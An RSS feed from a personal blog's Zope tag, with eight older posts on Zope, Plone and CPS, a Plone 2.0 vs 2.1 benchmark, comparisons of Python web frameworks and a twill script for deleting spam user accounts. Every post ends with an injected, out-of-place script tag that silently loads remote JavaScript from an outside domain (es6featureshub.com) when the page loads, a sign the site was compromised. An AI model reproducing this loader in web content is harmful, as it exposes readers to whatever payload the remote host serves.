<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; Zope</title>
	<atom:link href="http://www.larsen-b.com/tags/zope/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Howto to a delete lot of Zope/Plone/CPS User account ?</title>
		<link>http://www.larsen-b.com/Article/253.html</link>
		<comments>http://www.larsen-b.com/Article/253.html#comments</comments>
		<pubDate>Mon, 05 Feb 2007 15:44:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zope]]></category>
		<category><![CDATA[cps]]></category>
		<category><![CDATA[plone]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[In a previous post, I study the way some spammers use plone user folder to spam my blog. But this time, it&#8217;s my turn. I host since a little time right now, a small CPS website for my work. And &#8230; <a href="http://www.larsen-b.com/Article/253.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>In a <a class="reference" href="http://www.larsen-b.com/Article/239.html">previous</a> post, I study the way some spammers use plone user folder to spam my blog. But this time, it&#8217;s my turn. I host since a little time right now, a small <a class="reference" href="http://www.cps-project.org/">CPS</a><br />
website for my work. And I discovered a lot of spammer user account on it.</p>
<p>The main issue, is that I haven&#8217;t unset the &#8220;joinable&#8221; flag, so everybody can create a account. By the way password are sent, spammers doesn&#8217;t manage to post stuff in the personnal area.</p>
<p>With 300 users, and only 4 valids, I need to find a way to clean the acl_user folder. Last <a class="reference" href="http://www.larsen-b.com/Article/249.html">time</a> I used twill, this works really great, so I decided to use the same stuff for Zope.</p>
<p>Here my little script:</p>
<pre class="literal-block">#!/usr/bin/python

LOGIN='foo'
PASSWORD='far'

LOGIN_URL='http://your_server/manage_main'
USER_URL='http://your_server/acl_users/manage_users'
GOOD_USERS = ['jkx','foobar']

import twill

def delUsers():
   twill.commands.go(USER_URL)
   form = twill.commands.showforms()[0]

   usernames = form.possible_items('names:list')
   for u in usernames:
      if u not in GOOD_USERS:
         twill.commands.formvalue(1,'names:list',u)

      twill.commands.showforms()
      twill.commands.submit(3)

def doLogin():
   twill.commands.go(LOGIN_URL)
   forms = twill.commands.showforms()

   twill.commands.formvalue(2,'__ac_name',LOGIN)
   twill.commands.formvalue(2,'__ac_password',PASSWORD)
   twill.commands.submit()

if __name__ =='__main__':
  doLogin()
  delUsers()</pre>
<p>This will drop all user account (not the ones in GOOD_USERS) ..<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/253.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ouch: Plone 2.0 vs Plone 2.1</title>
		<link>http://www.larsen-b.com/Article/217.html</link>
		<comments>http://www.larsen-b.com/Article/217.html#comments</comments>
		<pubDate>Tue, 27 Sep 2005 14:47:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zope]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I run into a little test of Plone 2.1 today. And the whole stuff, seems to be slower than Plone 2.0.5. I decided to do a little benchmark, and yes Plone 2.1 seems to be really slower.. Plone 2.0.5 (python &#8230; <a href="http://www.larsen-b.com/Article/217.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I run into a little test of <a class="reference" href="http://www.plone.org">Plone</a> 2.1 today. And the whole stuff, seems to be slower than Plone 2.0.5. I decided to do a little benchmark, and yes Plone 2.1 seems to be really slower..</p>
<p><em>Plone 2.0.5</em> (python 2.3.4)</p>
<pre class="literal-block">Total transferred:      239130 bytes
HTML transferred:       234620 bytes
Requests per second:    5.52 [#/sec] (mean)
Time per request:       181.261 [ms] (mean)
Time per request:       181.261 [ms] (mean, across all concurrent requests)
Transfer rate:          128.54 [Kbytes/sec] received</pre>
<p><em>Plone 2.1</em> (python 2.3.5)</p>
<pre class="literal-block">Total transferred:      240740 bytes
HTML transferred:       237440 bytes
Requests per second:    3.54 [#/sec] (mean)
Time per request:       282.476 [ms] (mean)
Time per request:       282.476 [ms] (mean, across all concurrent requests)
Transfer rate:          83.19 [Kbytes/sec] received</pre>
<p>Grr, here is two point to read:</p>
<ul class="simple">
<li>The 2.1 version is really slower look at the transfer rate..</li>
<li>But this is astomish <strong>slow</strong></li>
</ul>
<p>The bench was done on:</p>
<ul class="simple">
<li>pure zope httpd (no apache or squid frontend)</li>
<li>without debug enable</li>
<li>with default HTTPCache and RAMCache enable (default install setting)</li>
<li>a dual Xeon at 2.6Ghz with 1Go of RAM ! (I know python only use 1 CPU but !!!)</li>
</ul>
<p>I first think my setup is buggy, but no.. nobody with a good CMS in stock ?<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/217.html/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Python on Rails: The bazzar</title>
		<link>http://www.larsen-b.com/Article/216.html</link>
		<comments>http://www.larsen-b.com/Article/216.html#comments</comments>
		<pubDate>Sat, 17 Sep 2005 22:51:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[django]]></category>
		<category><![CDATA[paste]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[ror]]></category>
		<category><![CDATA[turbogears]]></category>
		<category><![CDATA[Zope]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Everybody know Ruby on Rails right now. There is a lot of post all over the web, showing us the new latest new web programming style. This is a little funny because in a past life (4 years ago), I &#8230; <a href="http://www.larsen-b.com/Article/216.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Everybody know <a class="reference" href="http://www.rubyonrails.org/">Ruby on Rails</a> right now. There is a lot of post all over the web, showing us the new latest new web programming style. This is a little funny because in a past life (4 years ago), I worked on something quite similar for Zope, name <a class="reference" href="http://modeling.sf.net">ZModeling</a>. And I guess a lot of people has done the same, by generating the html from a data model (It tooks me about 1hours to do that for my latest website). That&#8217;s it and this is the latest hype stuff. IT loves hype !</p>
<p>Anyway, as this become usual, (grrr) there is a bunch of projects that try to clone the rails features. The well know python proverb can be used:<br />
<strong>Divide to loose</strong></p>
<p>Here &#8216;s a little list:</p>
<div id="django" class="section">
<h1><a name="django">Django</a></h1>
<p><a class="reference" href="http://www.djangoproject.com/documentation/overview/">Django</a> is the total new one, it&#8217;s written from scratch, and doesn&#8217;t re-use anything.</p>
<ul class="simple">
<li>it use mod_python for apache integration (no SCGI for lighttpd ??)</li>
<li>custom ORM</li>
<li>custom template engine (why not another one !!)</li>
</ul>
<p>This one has a lot of good comments, and a lot of people see in this stuff a Zope killer app.. or something like that but ..</p>
</div>
<div id="subway" class="section">
<h1><a name="subway">Subway</a></h1>
<p><a class="reference" href="http://subway.python-hosting.com/">Subway</a> was born just after Ruby on rails, and is the direct competitor.</p>
<ul class="simple">
<li>CherryPy: stable, simple and robust HTTP framework</li>
<li>SQLObject: the world famous ORM for Py</li>
<li>Cheetah: a plain old fashion template engine.</li>
</ul>
<p>This is nothing more a app skelton generator, with a little wraps around the whole stuffs, nothing magic, but simple .. perhaps too simple ?</p>
</div>
<div id="turbogears" class="section">
<h1><a name="turbogears">TurboGears</a></h1>
<p><a class="reference" href="http://www.turbogears.org/">TurboGears</a> is a the latest one I think</p>
<ul class="simple">
<li>CherryPy</li>
<li>SQLObject ORM</li>
<li>Kid template: a simple ZPT like</li>
<li>A powerfull Ajax toolkit.</li>
</ul>
<p>The API is a bit Frankhein right now I think (I don&#8217;t like the raise CherryPy in the middle), and the templating is not powefull enought. But it&#8217;s really interesting (meanly the Ajax API).</p>
</div>
<div id="paste" class="section">
<h1><a name="paste">Paste</a></h1>
<p>Paste is something a bit different of rails, It has a more large framework</p>
<ul class="simple">
<li>WSGI</li>
<li>SQLObject ORM</li>
<li>ZPT: The powerfull Zope Page Templates</li>
</ul>
</div>
<div id="so-now-which-is-the-best" class="section">
<h1><a name="so-now-which-is-the-best">So now, which is the best ?</a></h1>
<p>Perhaps none right now:</p>
<ul class="simple">
<li>Django use (for me) too much indoor product, I think there is a lot goods frameworks for python right now, and re-writting a ORM expose the project to a some strange bugs, or missing features, or wrong design (the meta api is freak) . same for template engine.</li>
<li>Subway and TurboGears are really quite the same product, and they are lacking of some features like the admin page for objects. I prefer TurboGears meanly for the Ajax toolkit.</li>
<li>Paste, is as usual a very well written stuff from Ian. The API is clear, and tools are well known. But I think the framework take too much place. I mean force you too use it&#8217;s configuration stuff, and other WSGI server.</li>
</ul>
<p>So perhaps, you can pick just one of this, as they&#8217;re all looking close:</p>
<ul class="simple">
<li>If you want to discover something really different: Django</li>
<li>If you want something closer to rails: TurboGears</li>
<li>If you like the servlet and threads choose: Paste ..</li>
</ul>
<p>But take care that the framework you choose feet with:</p>
<ul class="simple">
<li>your way of web programming (servlet vs controller + template)</li>
<li>the project load (I mean mod_python is awfull to debug but provide some very good performance)</li>
</ul>
<p>Anyways, the choice is really hard because it&#8217;s time to choose right now, and I believe that some frameworks will die sooner than others.. Django seems to be the next big python project, but some people share my opinion about :&#8221; I don&#8217;t want to learn another ORM !&#8221;</p>
<p>But, beside there is a lot of frameworks, they &#8216;re loosing the main goal: <strong>Using a good framework is a good stuff. But using good products is better</strong>. They all miss the component model. HTTP + ORM + Template engine = Web Framework, but for a application framework you need a little more. Some stuffs have been done on Webware, and Quixote about this, but it looks like people designing framework never look at the past, and keep on going building the same stuff over and over.</p>
<p>What we need now, is a application framework. Something we can use to build website not webapp. Clients are now asking for : &#8220;I need something to post articles + a forum + a wiki + ..&#8221; That&#8217;s too much for a quick answer like: &#8220;Ok I gonna use this web frameworks&#8221;. On the PHP scene right now, you have some great products that tend to share some component, like user rights, templating .. and this is really a bad news for Python users, because the only stuff we have to fight against this is Zope. And it&#8217;s getting even worst since right now, most products need Plone and all the bloat it&#8217;s about.</p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/216.html/feed</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Plone too complicated ?</title>
		<link>http://www.larsen-b.com/Article/155.html</link>
		<comments>http://www.larsen-b.com/Article/155.html#comments</comments>
		<pubDate>Sat, 04 Sep 2004 16:37:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zope]]></category>
		<category><![CDATA[plone]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Who said that Plone is a too complicated ? Check out the Plone Concept Map to be sure you know what you mean ! &#8211; Enjoy the road :)]]></description>
				<content:encoded><![CDATA[<p>Who said that Plone is a too complicated  ?</p>
<p>Check out the <a class="reference" href="http://wiki.woodpecker.org.cn/moin.cgi/Plone">Plone Concept Map</a> to be sure you know what you mean !</p>
<p>&#8211; Enjoy the road :)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/155.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Python web developpement: the dilemma</title>
		<link>http://www.larsen-b.com/Article/130.html</link>
		<comments>http://www.larsen-b.com/Article/130.html#comments</comments>
		<pubDate>Sun, 20 Jun 2004 12:16:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[twisted]]></category>
		<category><![CDATA[Webware]]></category>
		<category><![CDATA[Zope]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[There is a bunch of Python based web framework. So much that it&#8217;s a really hard choice to do. Most of them came w/ a special templating language, and a different approach. Dilemma 1 I really think most of the &#8230; <a href="http://www.larsen-b.com/Article/130.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>There is a <a class="reference" href="http://www.python.org/cgi-bin/moinmoin/WebProgramming">bunch</a> of Python based web framework. So much that it&#8217;s a really hard choice to do. Most of them came w/ a special templating language, and a different approach.</p>
<div id="dilemma-1" class="section">
<h1><a name="dilemma-1">Dilemma 1</a></h1>
<p>I really think most of the frameworks, have nothing to do with templating. We should give up with that mixOmatic. A framework is a framework not a templating language. So while looking for a good framework, never looks at its templating system, since you should use the one you want. (not the one that come with the framework).</p>
</div>
<div id="dilemma-2" class="section">
<h1><a name="dilemma-2">Dilemma 2</a></h1>
<p>The second thing that run me in trouble is the approach. I find about 3 different way to handle requests, and still wondering what is the best choice</p>
<div id="thread-approach" class="section">
<h2><a name="thread-approach">Thread approach</a></h2>
<p><a class="reference" href="http://www.w4py.org">Webware</a> has this kind of approach. It maintain a pool of servlets, and use apache as front-end to dispatch to webware server. This approach is really interesting since you can really tweak performance by maintaining the some cached stuff .. By the other side, you have all the drawbacks of this way to using:</p>
<ul class="simple">
<li>A lot of python module aren&#8217;t thread safe. Even the <a class="reference" href="http://www.sqlobject.org">SQLObject</a> which is normally written in this way have trouble with thread. <a class="reference" href="http://www.base-art.net">Phil</a> lost part of the night to discover that SQLO + SQLite run give him a bunch of errors..</li>
<li>Really hard to deploy: Since the servlet pool doesn&#8217;t support advanced caching, every single servlet load stay loaded all the time. (I want to deploy a bunch of website .. something like 20 .. with low traffic that isn&#8217;t the right way)</li>
</ul>
</div>
<div id="mod-python-approach" class="section">
<h2><a name="mod-python-approach">Mod_Python approach</a></h2>
<p>There is a lot of frameworks that use this way. The one i really enjoy is <a class="reference" href="http://home.comcast.net/~d.popowich/mpservlets/">MP Servlets</a>. The major feature is that it use Apache 2 thread behaviour, so you don&#8217;t have to use python threads. This sound really good, and you don&#8217;t have to launch a python server on the host. But the major drawback is that there is no way to maintain (or even limit) a pool of objects between request. (This is possible but you need to tweak the apache way to handle request to disable threading for a proceess&#8230; and this isn&#8217;t a good approach for virtual hosted website).</p>
</div>
<div id="twisted-approach" class="section">
<h2><a name="twisted-approach">Twisted approach</a></h2>
<p><a class="reference" href="http://twistedmatrix.com/">Twisted</a> try to fix the thread problem by using a single loop, and async request handling. With that you can:</p>
<ul class="simple">
<li>enjoy the python world without thread nightmare</li>
<li>desging small dedicated servers</li>
</ul>
<p>But once again this way have a major drawback has you will be unable to use stuff like SQLObject since Twisted require some specials database connection to avoid locking (remember single loop). And i don&#8217;t want to use the old fashiong sql way to build website. Another thing to remember about Twisted is that you need to use apache to proxy the request to the host, and i don&#8217;t really think that this way is really pretty for performance.</p>
</div>
</div>
<div id="conclusion" class="section">
<h1><a name="conclusion">Conclusion ?</a></h1>
<p>I don&#8217;t have a good conclusion. I know <a class="reference" href="http://www.zope.org">Zope</a> can fix some of this problem, but <a class="reference" href="http://www.zope.org">Zope</a> is a too hard to developp / maintain for me. Zope3 tend to be more simple for a lot of ways, but still under developpement, and need a lot of work to learn right now.</p>
<p><strong>Update</strong>: Nobody seems to have a decent solution :) Really strange no ?</p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/130.html/feed</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>SQLObject and ZPT</title>
		<link>http://www.larsen-b.com/Article/83.html</link>
		<comments>http://www.larsen-b.com/Article/83.html#comments</comments>
		<pubDate>Tue, 13 Jan 2004 21:09:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[cheetah]]></category>
		<category><![CDATA[sqlobject]]></category>
		<category><![CDATA[Webware]]></category>
		<category><![CDATA[Zope]]></category>
		<category><![CDATA[zpt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[After looking at several way to build custom webapps in python, i tested several things : Zope alone Zope + CMF Plone Webware + Cheetah or PSP Webware + Modeling + ZPT .. And my conclusions right now is: SQLObject &#8230; <a href="http://www.larsen-b.com/Article/83.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>After looking at several way to build custom webapps in python, i tested several things :</p>
<ul class="simple">
<li>Zope alone</li>
<li>Zope + CMF</li>
<li>Plone</li>
<li>Webware + Cheetah or PSP</li>
<li>Webware + Modeling + ZPT ..</li>
</ul>
<p>And my conclusions right now is: SQLObject is really a kool SQL Api since you can use it very easily. For the template i really think that ZPT is the best one. Despite XML parsing is really slow, and ZPT performance isn&#8217;t really good, you can edit the template without too much pain.</p>
<p>Another great thing, is that i can use this tools in Webware (of course) but in a simple python (mod_python for example)  CGI. And SQLObject really feat nicely w/ webware, because it&#8217;s thread safe. (I discover severals troubles in Modeling w/ thread)</p>
<p>The next step is to find a good way to build &#8216;slots&#8217;, to have a cross site layout. ZPTPage doesn&#8217;t support all METAL tags (macros..) so this isn&#8217;t done by default .. and calling a lot of &#8216;structure&#8217; include is a bad way because this will call the &#8216;slot&#8217;  rendering too much times.</p>
<p>The main key is : Keep it simple.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/83.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blog vs CMS</title>
		<link>http://www.larsen-b.com/Article/67.html</link>
		<comments>http://www.larsen-b.com/Article/67.html#comments</comments>
		<pubDate>Sun, 14 Dec 2003 19:55:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zope]]></category>
		<category><![CDATA[alinea]]></category>
		<category><![CDATA[docutils]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I spent a part of the day hacking reST and Alinéa and i&#8217;m in a issue. In fact i usually write a lot of things like tutorials, FAQ and tips lying around, so i decide to put this in my &#8230; <a href="http://www.larsen-b.com/Article/67.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I spent a part of the day hacking reST and Alinéa and i&#8217;m in a issue. In fact i usually write a lot of things like tutorials,  FAQ and tips lying around, so i decide to put this in my blog because i don&#8217;t want to have too much trouble writing stuff at 10 different place.</p>
<p>So i have been hacking a Zope system which is a bit like a CMS and a bit at a blog, but this is not so easy because blog is (by definition) not hierarchical as opposite of CMS.</p>
<p>Despite i managed to do several good things i need to fix this:</p>
<ul class="simple">
<li>ZODB is hard to tailor ( using session,aq_x and other things really sux )</li>
<li>Having to rewrite all things like cut/paste/ .. take care about urls etc etc is awfull</li>
<li>Having to test and test again this so crappy ..</li>
</ul>
<p>I&#8217;m a bit confuse tonight since a lot of work have be done, but now I&#8217;m wondering how i will use it without emacs, and need a lot to do again.</p>
<p>I really think that this kind of system should be easy to use, and pybloxmon seems to be fine cause we can use simple tools. but the main lack is that you can&#8217;t easily organise it.. for example finding the right stuff on a lot python website is awfull.</p>
<p>Right now it got a lot of questions in my head:</p>
<ul class="simple">
<li>Why should i use Zope over Webware (despite i pretty like Webware) ?</li>
<li>Why should i fight with ZODB instead of a good old fashion filesystem or db server ?</li>
</ul>
<p>And guess what i won&#8217;t use Plone :)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/67.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>iKaaro</title>
		<link>http://www.larsen-b.com/Article/45.html</link>
		<comments>http://www.larsen-b.com/Article/45.html#comments</comments>
		<pubDate>Tue, 11 Nov 2003 12:05:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zope]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[zpt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I&#8217; just discover ikaaro (http://www.ikaaro.org) last night. After a couple of ./configure; make install it seems to work pretty fine. I really need to look at this closer since it use a custom TAL like system that seems to be &#8230; <a href="http://www.larsen-b.com/Article/45.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I&#8217; just discover ikaaro (<a class="reference" href="http://www.ikaaro.org">http://www.ikaaro.org</a>) last night. After a couple of ./configure; make install it seems to work pretty fine. I really need to look at this closer since it use a custom TAL like system that seems to be really faster than original TAL.</p>
<p>Some bugs still remain, i was unable to do cut/paste and there is a bug in guess_contenttype too, but not really a big deal i think.</p>
<p>After looking this a night, the system is really light ( don&#8217;t use a couple of CMF products or other things like DC workflow), si it have some limitation but it should be enought to do a good bloging system ( i&#8217;m still need to give up about this MT ). but it don&#8217;t use reST and this is a bad news.</p>
<p>Another thing that i found usefull is that it use EPoz for html editing and this is pretty kool .<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/45.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
